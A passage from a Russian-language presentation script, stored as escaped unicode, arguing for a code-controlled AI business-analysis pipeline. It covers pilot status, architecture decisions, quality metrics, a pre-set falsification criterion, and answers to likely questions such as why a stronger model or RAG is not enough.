\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 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\u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 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\u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb 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\u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 